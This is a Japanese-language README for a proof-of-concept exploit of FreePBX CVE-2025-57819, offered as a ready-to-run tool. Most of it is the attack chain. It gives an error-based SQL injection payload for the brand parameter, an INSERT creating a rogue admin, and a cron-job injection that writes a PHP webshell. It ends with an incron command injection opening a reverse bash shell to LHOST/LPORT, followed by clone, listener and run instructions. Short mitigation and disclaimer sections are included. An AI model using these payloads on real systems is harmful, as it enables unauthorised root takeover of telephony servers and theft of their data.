FreePBX CVE-2025-57819 - 未認証SQLiからRCEへのPoC

教育・セキュリティ研究目的のみ - 下記の法的通知を参照してください

FreePBXにおけるリモートコード実行を可能にする重大な未認証SQLインジェクション脆弱性、CVE-2025-57819のエクスプロイト実証コードです。このPoCは、セキュリティ研究および許可されたテスト目的のみに、公式パッチのリリース後に公開されています。

概要

FreePBXバージョン15.x、16.x、17.x（パッチ適用バージョン未満）は、endpointモジュールのAJAXハンドラにおける未認証SQLインジェクションに対して脆弱です。この脆弱性チェーンにより以下が可能になります：

1. SQLインジェクションによる管理者アカウントの作成
2. 認証済みcronジョブインジェクションによるウェブシェルの展開
3. sysadmin_managerフックチェーンによるrootへの権限昇格（incronが利用可能な場合）
4. リバースシェルアクセスによるシステム全体の侵害

---

脆弱性の詳細

CVE ID	CVE-2025-57819
種類	未認証SQLインジェクション（エラーベース）
CVSS	9.8 / 10.0（Critical）
影響を受けるバージョン	FreePBX 15 < 15.0.66、16 < 16.0.89、17 < 17.0.3
修正済みバージョン	15.0.66、16.0.89、17.0.3+
CISA KEV	はい（2025年8月29日）

脆弱なエンドポイント

GET /admin/ajax.php?brand=<PAYLOAD>

エンドポイントモジュールのAJAXハンドラにあるbrandパラメータは、検証なしでユーザー入力を受け付けるため、エラーベースのSQLインジェクションが発生します。

---

エクスプロイトチェーン

ステージ1: SQLインジェクションと管理者アカウントの作成

EXTRACTVALUE()によるエラーベースの抽出を使用してデータベース名を漏洩させ、SQLiを検証します:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers に新しい管理者ユーザーを挿入します:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

ステージ2: 認証済みCronジョブインジェクション

有効な管理者認証情報を用いて、エクスプロイトはFreePBXに認証し、認証済みセッションを確立します。セッションCookieは保存され、以降のすべての認証済みリクエストで使用されます。

asterisk.cron_jobs にwebshellコマンドを注入します:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX の cron ランナーはコマンドを asterisk ユーザーとして実行し、PHP ウェブシェルをドロップします。

ステージ 3: ウェブシェルの起動

PHP ウェブシェルは /var/www/html/shell.php に配置されます:

<?php system($_GET['cmd']); ?>

Exploit はアクティベーションまで webshell をポーリングし、asterisk ユーザー（uid=999）として RCE を達成します。

ステージ4: 権限昇格（条件付き）

ターゲットに incron が設定されている場合:

1. /var/spool/asterisk/incron/ にトリガーファイルを作成
2. incrond（root として実行中）がファイル作成を検知
3. トリガーファイル名を引数に /usr/bin/sysadmin_manager を呼び出す
4. sysadmin_manager が GPG 署名を検証し、fwconsole-commands フックにディスパッチ
5. フックがペイロードをデコードして実行: /usr/sbin/fwconsole <COMMAND>
6. コマンドインジェクション: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

結果: リバースリスナー上で root シェル（incron が利用可能な場合）。

---

悪用される仕組み

• brand パラメータに入力検証がない
• スタッククエリ実行によりデータベース操作が可能
• 書き込み可能な asterisk.cron_jobs テーブルが asterisk としてコマンドを実行
• 作成された管理者アカウントの Cookie による認証済みセッションの永続化
• root として実行される Incron ファイルシステム監視
• コマンドインジェクションを伴う検証されていない fwconsole フック実行

---

インストール

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

使用方法

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

影響を受けるバージョン

バージョン	ステータス
15.0.0 - 15.0.65	脆弱
15.0.66+	修正済み
16.0.0 - 16.0.88	脆弱
16.0.89+	修正済み
17.0.0 - 17.0.2	脆弱
17.0.3+	修正済み

---

緩和策

即時対応:

• 信頼できないネットワークからの /admin/ajax.php へのアクセスを制限する
• 不要な場合は incron を無効化する: systemctl disable incrond

恒久対応: 修正済みバージョンへアップグレードする: 15.0.66+、16.0.89+、または 17.0.3+

---

参考情報

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

---

法的通知

⚠️ 免責事項

この概念実証（PoC）は、認可されたセキュリティテストおよび教育目的に限り提供されます。作者は、本ツールの悪用やそれによって生じた損害について一切の責任を負いません。

以下を遵守する必要があります:

• コンピュータ詐欺および濫用防止法（CFAA）ならびにあなたの管轄区域における同等の法律
• 自身が所有するシステム、または明示的な書面による許可を得たシステムのみをテストすること
• セキュリティテストを実施する前に書面による許可を取得すること
• 責任ある開示の実践
• プライバシーおよびデータ保護に関する規制（GDPR、CCPA など）

禁止される用途:

• コンピュータシステムへの不正アクセス
• 書面による同意のないペネトレーションテスト
• サービスの妨害またはデータ窃取
• 悪意のある、または違法な活動

責任の免除: 作者は以下について責任を負いません:

• 不正アクセスまたは刑事告発
• システムへの損害またはデータ損失
• 悪用による法的結果
• コンピュータ詐欺法の違反

この脆弱性は:

• 公開済み（CVE-2025-57819）
• 修正パッチが公開済み
• セキュリティ研究目的のみで公開
• パッチリリース後に責任をもって共有

---

作者

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

ライセンス

MIT License